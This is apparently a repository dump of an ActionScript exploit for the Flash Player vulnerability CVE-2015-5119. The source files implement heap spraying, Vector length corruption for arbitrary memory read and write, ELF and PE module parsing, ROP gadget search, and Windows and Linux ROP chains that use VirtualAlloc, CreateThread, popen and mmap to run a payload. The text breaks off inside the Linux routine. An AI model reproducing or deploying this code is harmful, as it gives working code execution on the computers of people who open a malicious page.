├── CVE-2015-5119.as3proj ├── bin ├── expressInstall.swf ├── index.html └── js │ └── swfobject.js ├── obj ├── CVE-2015-5119Config.old └── CVE-2015-5119Config.xml └── src ├── Address64.as ├── Elf.as ├── Exploit.as ├── ExploitByteArray.as ├── ExploitVector.as ├── Exploiter.as ├── Exploiter64.as ├── Logger.as ├── MyClass.as ├── MyClass1.as ├── MyClass2.as ├── PE.as └── PE64.as /CVE-2015-5119.as3proj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /bin/expressInstall.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jvazquez-r7/CVE-2015-5119/4ffce5b7ae4bfa6652ba00c3e98855294ae35c16/bin/expressInstall.swf -------------------------------------------------------------------------------- /bin/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CVE-2015-5119 6 | 7 | 8 | 9 | 29 | 33 | 34 | 35 |
36 |

CVE-2015-5119

37 |

Get Adobe Flash player

38 |
39 | 40 | -------------------------------------------------------------------------------- /bin/js/swfobject.js: -------------------------------------------------------------------------------- 1 | /* SWFObject v2.2 2 | is released under the MIT License 3 | */ 4 | var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='"+af+"";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab 2 | 3 | 4 | 5 | 18.0 6 | false 7 | true 8 | 9 | 10 | CONFIG::debug 11 | true 12 | 13 | 14 | CONFIG::release 15 | false 16 | 17 | 18 | CONFIG::timeStamp 19 | '8/3/2015' 20 | 21 | 22 | CONFIG::air 23 | false 24 | 25 | 26 | CONFIG::mobile 27 | false 28 | 29 | 30 | CONFIG::desktop 31 | false 32 | 33 | true 34 | 35 | C:\Users\juan\Documents\CVE-2015-5119\src 36 | C:\Program Files (x86)\FlashDevelop\Library\AS3\classes 37 | 38 | 39 | 40 | C:\Users\juan\Documents\CVE-2015-5119\src\Exploit.as 41 | 42 | #FFFFFF 43 | 30 44 | 45 | 800 46 | 600 47 | 48 | -------------------------------------------------------------------------------- /obj/CVE-2015-5119Config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 18.0 6 | false 7 | true 8 | 9 | 10 | CONFIG::debug 11 | true 12 | 13 | 14 | CONFIG::release 15 | false 16 | 17 | 18 | CONFIG::timeStamp 19 | '8/4/2015' 20 | 21 | 22 | CONFIG::air 23 | false 24 | 25 | 26 | CONFIG::mobile 27 | false 28 | 29 | 30 | CONFIG::desktop 31 | false 32 | 33 | true 34 | 35 | C:\Users\juan\Documents\CVE-2015-5119\src 36 | C:\Program Files (x86)\FlashDevelop\Library\AS3\classes 37 | 38 | 39 | 40 | C:\Users\juan\Documents\CVE-2015-5119\src\Exploit.as 41 | 42 | #FFFFFF 43 | 30 44 | 45 | 800 46 | 600 47 | 48 | -------------------------------------------------------------------------------- /src/Address64.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | /** 4 | * ... 5 | * @author 6 | */ 7 | public class Address64 8 | { 9 | public var hi:uint 10 | public var lo:uint 11 | 12 | public function Address64(lo_addr:uint, hi_addr:uint) 13 | { 14 | lo = lo_addr 15 | hi = hi_addr 16 | } 17 | 18 | public function toString() 19 | { 20 | return '0x' + hi.toString(16) + '`' + lo.toString(16) 21 | } 22 | 23 | public function offset(off:uint):Address64 24 | { 25 | return new Address64(lo + off, hi) 26 | } 27 | } 28 | 29 | } -------------------------------------------------------------------------------- /src/Elf.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | public class Elf 4 | { 5 | private const PT_DYNAMIC:uint = 2 6 | private const PT_LOAD:uint = 1 7 | private const PT_READ_EXEC:uint = 5 8 | private const DT_SYMTAB:uint = 6 9 | private const DT_STRTAB:uint = 5 10 | private const DT_PLTGOT:uint = 3 11 | 12 | private var e_ba:ExploitByteArray 13 | // elf base address 14 | public var base:uint = 0 15 | // program header address 16 | public var ph:uint = 0 17 | // number of program headers 18 | public var ph_size:uint = 0 19 | // program header entry size 20 | public var ph_esize:uint = 0 21 | // DYNAMIC segment address 22 | public var seg_dynamic:uint = 0 23 | // DYNAMIC segment size 24 | public var seg_dynamic_size:uint = 0 25 | // CODE segment address 26 | public var seg_exec:uint = 0 27 | // CODE segment size 28 | public var seg_exec_size:uint = 0 29 | // .dynsyn section address 30 | public var sec_dynsym:uint = 0 31 | // .synstr section address 32 | public var sec_dynstr:uint = 0 33 | // .got.plt section address 34 | public var sec_got_plt:uint = 0 35 | 36 | public function Elf(ba:ExploitByteArray, addr:uint) 37 | { 38 | e_ba = ba 39 | set_base(addr) 40 | set_program_header() 41 | set_program_header_size() 42 | set_program_header_entry_size() 43 | set_dynamic_segment() 44 | set_exec_segment() 45 | set_dynsym() 46 | set_dynstr() 47 | set_got_plt() 48 | } 49 | 50 | public function external_symbol(name:String):uint { 51 | var entry:uint = 0 52 | var st_name:uint = 0 53 | var st_value:uint = 0 54 | var st_size:uint = 0 55 | var st_info:uint = 0 56 | var st_other:uint = 0 57 | var st_shndx:uint = 0 58 | var st_string:String = "" 59 | var got_plt_index:uint = 0 60 | 61 | for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit 62 | entry = sec_dynsym + 0x10 + (i * 0x10) 63 | st_name = e_ba.read(entry) 64 | st_value = e_ba.read(entry + 4) 65 | st_info = e_ba.read(entry + 0xc, "byte") 66 | st_string = e_ba.read_string(sec_dynstr + st_name) 67 | if (st_string == name) { 68 | return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) 69 | } 70 | if (st_info != 0x11) { 71 | got_plt_index++ 72 | } 73 | } 74 | throw new Error() 75 | } 76 | 77 | public function symbol(name:String):uint { 78 | var entry:uint = 0 79 | var st_name:uint = 0 80 | var st_value:uint = 0 81 | var st_size:uint = 0 82 | var st_info:uint = 0 83 | var st_other:uint = 0 84 | var st_shndx:uint = 0 85 | var st_string:String = "" 86 | 87 | for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit 88 | entry = sec_dynsym + 0x10 + (i * 0x10) 89 | st_name = e_ba.read(entry) 90 | st_value = e_ba.read(entry + 4) 91 | st_info = e_ba.read(entry + 0xc, "byte") 92 | st_string = e_ba.read_string(sec_dynstr + st_name) 93 | if (st_string == name) { 94 | return base + st_value 95 | } 96 | } 97 | throw new Error() 98 | } 99 | 100 | 101 | public function gadget(gadget:String, hint:uint):uint 102 | { 103 | var value:uint = parseInt(gadget, 16) 104 | var contents:uint = 0 105 | for (var i:uint = 0; i < seg_exec_size - 4; i++) { 106 | contents = e_ba.read(seg_exec + i) 107 | if (hint == 0xffffffff && value == contents) { 108 | return seg_exec + i 109 | } 110 | if (hint != 0xffffffff && value == (contents & hint)) { 111 | return seg_exec + i 112 | } 113 | } 114 | throw new Error() 115 | } 116 | 117 | private function set_base(addr:uint):void 118 | { 119 | addr &= 0xffff0000 120 | while (true) { 121 | if (e_ba.read(addr) == 0x464c457f) { 122 | base = addr 123 | return 124 | } 125 | addr -= 0x1000 126 | } 127 | 128 | throw new Error() 129 | } 130 | 131 | private function set_program_header():void 132 | { 133 | ph = base + e_ba.read(base + 0x1c) 134 | } 135 | 136 | private function set_program_header_size():void 137 | { 138 | ph_size = e_ba.read(base + 0x2c, "word") 139 | } 140 | 141 | private function set_program_header_entry_size():void 142 | { 143 | ph_esize = e_ba.read(base + 0x2a, "word") 144 | } 145 | 146 | private function set_dynamic_segment():void 147 | { 148 | var entry:uint = 0 149 | var p_type:uint = 0 150 | 151 | for (var i:uint = 0; i < ph_size; i++) { 152 | entry = ph + (i * ph_esize) 153 | p_type = e_ba.read(entry) 154 | if (p_type == PT_DYNAMIC) { 155 | seg_dynamic = base + e_ba.read(entry + 8) 156 | seg_dynamic_size = e_ba.read(entry + 0x14) 157 | return 158 | } 159 | } 160 | 161 | throw new Error() 162 | } 163 | 164 | private function set_exec_segment():void 165 | { 166 | var entry:uint = 0 167 | var p_type:uint = 0 168 | var p_flags:uint = 0 169 | 170 | for (var i:uint = 0; i < ph_size; i++) { 171 | entry = ph + (i * ph_esize) 172 | p_type = e_ba.read(entry) 173 | p_flags = e_ba.read(entry + 0x18) 174 | if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { 175 | seg_exec = base + e_ba.read(entry + 8) 176 | seg_exec_size = e_ba.read(entry + 0x14) 177 | return 178 | } 179 | } 180 | 181 | throw new Error() 182 | } 183 | 184 | private function set_dynsym():void 185 | { 186 | var entry:uint = 0 187 | var s_type:uint = 0 188 | 189 | for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { 190 | entry = seg_dynamic + i 191 | s_type = e_ba.read(entry) 192 | if (s_type == DT_SYMTAB) { 193 | sec_dynsym = e_ba.read(entry + 4) 194 | return 195 | } 196 | } 197 | 198 | throw new Error() 199 | } 200 | 201 | private function set_dynstr():void 202 | { 203 | var entry:uint = 0 204 | var s_type:uint = 0 205 | 206 | for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { 207 | entry = seg_dynamic + i 208 | s_type = e_ba.read(entry) 209 | if (s_type == DT_STRTAB) { 210 | sec_dynstr = e_ba.read(entry + 4) 211 | return 212 | } 213 | } 214 | 215 | throw new Error() 216 | } 217 | 218 | private function set_got_plt():void 219 | { 220 | var entry:uint = 0 221 | var s_type:uint = 0 222 | 223 | for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { 224 | entry = seg_dynamic + i 225 | s_type = e_ba.read(entry) 226 | if (s_type == DT_PLTGOT) { 227 | sec_got_plt = e_ba.read(entry + 4) 228 | return 229 | } 230 | } 231 | 232 | throw new Error() 233 | } 234 | } 235 | } 236 | -------------------------------------------------------------------------------- /src/Exploit.as: -------------------------------------------------------------------------------- 1 | // Build with Flex SDK 4.6 + AIR 3.1 2 | package 3 | { 4 | import flash.display.Sprite 5 | import flash.events.Event 6 | import mx.utils.Base64Decoder 7 | import flash.display.LoaderInfo 8 | import flash.utils.ByteArray 9 | 10 | public class Exploit extends Sprite 11 | { 12 | private var b64:Base64Decoder = new Base64Decoder() 13 | private var payload:ByteArray 14 | private var platform:String 15 | 16 | public function Exploit():void 17 | { 18 | if (stage) init(); 19 | else addEventListener(Event.ADDED_TO_STAGE, init); 20 | } 21 | 22 | private function init(e:Event = null):void 23 | { 24 | //platform = LoaderInfo(this.root.loaderInfo).parameters.pl 25 | //var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh 26 | //var pattern:RegExp = / /g; 27 | //b64_payload = b64_payload.replace(pattern, "+") 28 | //b64.decode(b64_payload) 29 | //payload = b64.toByteArray() 30 | 31 | removeEventListener(Event.ADDED_TO_STAGE, init); 32 | Logger.log('TryExpl...') 33 | MyClass.TryExpl()//(this, platform, payload) 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /src/ExploitByteArray.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | import flash.utils.ByteArray 4 | 5 | public class ExploitByteArray 6 | { 7 | private const MAX_STRING_LENGTH:uint = 100 8 | public var ba:ByteArray 9 | public var original_length:uint 10 | private var platform:String 11 | 12 | public function ExploitByteArray(p:String, l:uint = 1024) 13 | { 14 | ba = new ByteArray() 15 | ba.length = l 16 | ba.endian = "littleEndian" 17 | ba.writeUnsignedInt(0) 18 | platform = p 19 | original_length = l 20 | } 21 | 22 | public function set_length(length:uint):void 23 | { 24 | ba.length = length 25 | } 26 | 27 | public function get_length():uint 28 | { 29 | return ba.length 30 | } 31 | 32 | public function lets_ready():void 33 | { 34 | ba.endian = "littleEndian" 35 | if (platform == "linux") { 36 | ba.length = 0xffffffff 37 | } 38 | } 39 | 40 | public function is_ready():Boolean 41 | { 42 | if (ba.length == 0xffffffff) 43 | return true 44 | 45 | return false 46 | } 47 | 48 | public function read(addr:uint, type:String = "dword"):uint 49 | { 50 | ba.position = addr 51 | switch(type) { 52 | case "dword": 53 | return ba.readUnsignedInt() 54 | case "word": 55 | return ba.readUnsignedShort() 56 | case "byte": 57 | return ba.readUnsignedByte() 58 | } 59 | return 0 60 | } 61 | 62 | public function read_string(addr:uint, length:uint = 0):String 63 | { 64 | ba.position = addr 65 | if (length == 0) 66 | return ba.readUTFBytes(MAX_STRING_LENGTH) 67 | else 68 | return ba.readUTFBytes(length) 69 | } 70 | 71 | public function write(addr:uint, value:* = 0, zero:Boolean = true):void 72 | { 73 | var i:uint 74 | 75 | if (addr) ba.position = addr 76 | if (value is String) { 77 | for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) 78 | if (zero) ba.writeByte(0) 79 | } else if (value is ByteArray) { 80 | var value_length:uint = value.length 81 | for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) 82 | } else ba.writeUnsignedInt(value) 83 | } 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/ExploitVector.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | public class ExploitVector 4 | { 5 | private var uv:Vector. 6 | public var original_length:uint 7 | 8 | public function ExploitVector(v:Vector., length:uint) 9 | { 10 | uv = v 11 | original_length = length 12 | } 13 | 14 | public function restore():void 15 | { 16 | uv[0x3ffffffe] = original_length 17 | } 18 | 19 | public function is_ready():Boolean 20 | { 21 | if (uv.length > original_length) 22 | { 23 | return true 24 | } 25 | return false 26 | } 27 | 28 | public function at(pos:uint):uint 29 | { 30 | return uv[pos] 31 | } 32 | 33 | // pos: position where a Vector.[0] lives 34 | public function set_own_address(pos:uint):void 35 | { 36 | uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc 37 | } 38 | 39 | public function read(addr:uint):uint 40 | { 41 | var pos:uint = 0 42 | 43 | if (addr > uv[0]) { 44 | pos = ((addr - uv[0]) / 4) - 2 45 | } else { 46 | pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 47 | } 48 | 49 | return uv[pos] 50 | } 51 | 52 | public function write(addr:uint, value:uint = 0):void 53 | { 54 | var pos:uint = 0 55 | 56 | if (addr > uv[0]) { 57 | pos = ((addr - uv[0]) / 4) - 2 58 | } else { 59 | pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 60 | } 61 | 62 | uv[pos] = value 63 | } 64 | 65 | public function search_pattern(pattern:uint, limit:uint):uint 66 | { 67 | for (var i:uint = 0; i < limit/4; i++) { 68 | if (uv[i] == pattern) { 69 | return i 70 | } 71 | } 72 | throw new Error() 73 | } 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /src/Exploiter.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | import flash.utils.ByteArray 4 | import flash.system.System 5 | 6 | public class Exploiter 7 | { 8 | private const VECTOR_OBJECTS_LENGTH:uint = 1014 9 | private var exploit:Exploit 10 | private var ev:ExploitVector 11 | private var eba:ExploitByteArray 12 | private var payload:ByteArray 13 | private var platform:String 14 | private var pos:uint 15 | private var byte_array_object:uint 16 | private var main:uint 17 | private var stack_object:uint 18 | private var payload_space_object:uint 19 | private var buffer_object:uint 20 | private var magic:uint 21 | private var magic_arg0:uint 22 | private var magic_arg1:uint 23 | private var magic_object:uint 24 | private var magic_table:uint 25 | private var buffer:uint 26 | private var vtable:uint 27 | private var stack_address:uint 28 | private var payload_address:uint 29 | private var stub_address:uint 30 | private var stub_space_object:uint 31 | private var stub:Vector. = new Vector.(8) 32 | private var stack:Vector. = new Vector.(0x6400) 33 | private var payload_space:Vector. = new Vector.(0x6400) 34 | private var spray:Vector. = new Vector.(90000) 35 | 36 | public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector., uv_length:uint):void 37 | { 38 | exploit = exp 39 | payload = p 40 | platform = pl 41 | 42 | ev = new ExploitVector(uv, uv_length) 43 | if (!ev.is_ready()) return 44 | eba = new ExploitByteArray(platform) 45 | spray_objects() 46 | try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } 47 | ev.set_own_address(pos) 48 | if (!disclose_objects()) { ev.restore(); cleanup(); return; } 49 | disclose_addresses() 50 | corrupt_byte_array() 51 | if (!eba.is_ready()) { ev.restore(); cleanup(); return } 52 | do_rop() 53 | restore_byte_array() 54 | ev.restore() 55 | cleanup() 56 | } 57 | 58 | static function Magic(...a){} 59 | 60 | private function spray_objects():void 61 | { 62 | Logger.log("[*] Exploiter - spray_objects()") 63 | 64 | // mov eax,[esp+0x4] 65 | // xchg eax,esp 66 | // rets 67 | stub[0] = 0x0424448B 68 | stub[1] = 0x0000C394 69 | 70 | for (var i:uint = 0; i < spray.length; i++) 71 | { 72 | spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) 73 | spray[i][0] = eba.ba 74 | spray[i][1] = exploit 75 | spray[i][2] = stack 76 | spray[i][3] = payload_space 77 | spray[i][4] = Magic 78 | spray[i][5] = stub 79 | } 80 | } 81 | 82 | private function search_objects():uint 83 | { 84 | Logger.log("[*] Exploiter - search_objects()") 85 | var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) 86 | return idx + 1 87 | } 88 | 89 | private function disclose_objects():Boolean 90 | { 91 | Logger.log("[*] Exploiter - disclose_objects()") 92 | byte_array_object = ev.at(pos) - 1 93 | main = ev.at(pos + 1) - 1 94 | stack_object = ev.at(pos + 2) - 1 95 | payload_space_object = ev.at(pos + 3) - 1 96 | magic = ev.at(pos + 4) - 1 97 | stub_space_object = ev.at(pos + 5) - 1 98 | if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { 99 | return false 100 | } 101 | return true 102 | } 103 | 104 | private function disclose_addresses():void 105 | { 106 | Logger.log("[*] Exploiter - disclose_addresses()") 107 | if (platform == "linux") 108 | { 109 | buffer_object = ev.read(byte_array_object + 0x10) 110 | buffer = ev.read(buffer_object + 0x1c) 111 | } 112 | else if (platform == "win") 113 | { 114 | buffer_object = ev.read(byte_array_object + 0x40) 115 | buffer = ev.read(buffer_object + 8) 116 | } 117 | vtable = ev.read(main) 118 | stack_address = ev.read(stack_object + 0x18) 119 | payload_address = ev.read(payload_space_object + 0x18) 120 | stub_address = ev.read(stub_space_object + 0x18) 121 | magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0) 122 | magic_table = ev.read(magic_object) 123 | magic_arg0 = ev.read(magic + 0x1c) 124 | magic_arg1 = ev.read(magic + 0x20) 125 | } 126 | 127 | private function corrupt_byte_array():void 128 | { 129 | Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) 130 | if (platform == "linux") 131 | { 132 | ev.write(buffer_object + 0x1c) // *array 133 | ev.write(buffer_object + 0x20, 0xffffffff) // capacity 134 | } 135 | else if (platform == "win") 136 | { 137 | ev.write(buffer_object + 8) // *array 138 | ev.write(buffer_object + 16, 0xffffffff) // capacity 139 | } 140 | eba.lets_ready() 141 | } 142 | 143 | private function restore_byte_array():void 144 | { 145 | Logger.log("[*] Exploiter - restore_byte_array(): " + platform) 146 | if (platform == "linux") 147 | { 148 | ev.write(buffer_object + 0x1c, buffer) // *array 149 | ev.write(buffer_object + 0x20, 1024) // capacity 150 | } 151 | else if (platform == "win") 152 | { 153 | ev.write(buffer_object + 8, buffer) // *array 154 | ev.write(buffer_object + 16, 1024) // capacity 155 | } 156 | eba.set_length(eba.original_length) 157 | } 158 | 159 | private function do_rop():void 160 | { 161 | Logger.log("[*] Exploiter - do_rop()") 162 | if (platform == "linux") { 163 | do_rop_linux() 164 | } else if (platform == "win") { 165 | do_rop_windows() 166 | } else { 167 | return 168 | } 169 | } 170 | 171 | private function do_rop_windows():void 172 | { 173 | Logger.log("[*] Exploiter - do_rop_windows()") 174 | var pe:PE = new PE(eba) 175 | var flash:uint = pe.base(vtable) 176 | var winmm:uint = pe.module("winmm.dll", flash) 177 | var kernel32:uint = pe.module("kernel32.dll", winmm) 178 | var ntdll:uint = pe.module("ntdll.dll", kernel32) 179 | var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) 180 | var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) 181 | var createthread:uint = pe.procedure("CreateThread", kernel32) 182 | var memcpy:uint = pe.procedure("memcpy", ntdll) 183 | var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) 184 | var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) 185 | var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) 186 | 187 | // Continuation of execution 188 | eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable 189 | eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main 190 | eba.write(0, "\x89\x03", false) // mov [ebx], eax 191 | eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10 192 | 193 | // Put the payload (command) in memory 194 | eba.write(payload_address + 8, payload, true); // payload 195 | 196 | // Put the fake stack on memory 197 | eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot 198 | 199 | eba.write(0, virtualprotect) 200 | 201 | // VirtualProtect 202 | eba.write(0, virtualalloc) 203 | eba.write(0, buffer + 0x10) 204 | eba.write(0, 0x1000) 205 | eba.write(0, 0x40) 206 | eba.write(0, buffer + 0x8) // Writable address (4 bytes) 207 | 208 | // VirtualAlloc 209 | eba.write(0, memcpy) 210 | eba.write(0, 0x7f6e0000) 211 | eba.write(0, 0x4000) 212 | eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE 213 | eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE 214 | 215 | // memcpy 216 | eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't 217 | eba.write(0, 0x7f6e0000) 218 | eba.write(0, payload_address + 8) 219 | eba.write(0, payload.length) 220 | 221 | // CreateThread 222 | eba.write(0, createthread) 223 | eba.write(0, buffer + 0x10) // return to fix things 224 | eba.write(0, 0) 225 | eba.write(0, 0) 226 | eba.write(0, 0x7f6e0000) 227 | eba.write(0, 0) 228 | eba.write(0, 0) 229 | eba.write(0, 0) 230 | 231 | for (var i:uint; i < 0x100; i++) { 232 | eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4)) 233 | } 234 | 235 | // VirtualProtect the stub with a *reliable* stackpivot 236 | eba.write(stack_address + 8 + 0x80 + 28, virtualprotect) 237 | eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) 238 | eba.write(magic + 0x1c, stub_address) 239 | eba.write(magic + 0x20, 0x10) 240 | var args:Array = new Array(0x41) 241 | Magic.call.apply(null, args); 242 | 243 | // Call to our stackpivot and init the rop chain 244 | eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8) 245 | eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) 246 | eba.write(magic + 0x1c, stack_address + 0x18000) 247 | Magic.call.apply(null, null); 248 | eba.write(magic_object, magic_table); 249 | eba.write(magic + 0x1c, magic_arg0) 250 | eba.write(magic + 0x20, magic_arg1) 251 | } 252 | 253 | private function do_rop_linux():void 254 | { 255 | Logger.log("[*] Exploiter - do_rop_linux()") 256 | var flash:Elf = new Elf(eba, vtable) 257 | var feof:uint = flash.external_symbol('feof') 258 | var libc:Elf = new Elf(eba, feof) 259 | var popen:uint = libc.symbol("popen") 260 | var mprotect:uint = libc.symbol("mprotect") 261 | var mmap:uint = libc.symbol("mmap") 262 | var clone:uint = libc.symbol("clone") 263 | var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) 264 | var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) 265 | var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) 266 | 267 | // Continuation of execution 268 | // 1) Recover original vtable 269 | eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable 270 | eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main 271 | eba.write(0, "\x89\x03", false) // mov [ebx], eax 272 | // 2) Recover original stack 273 | 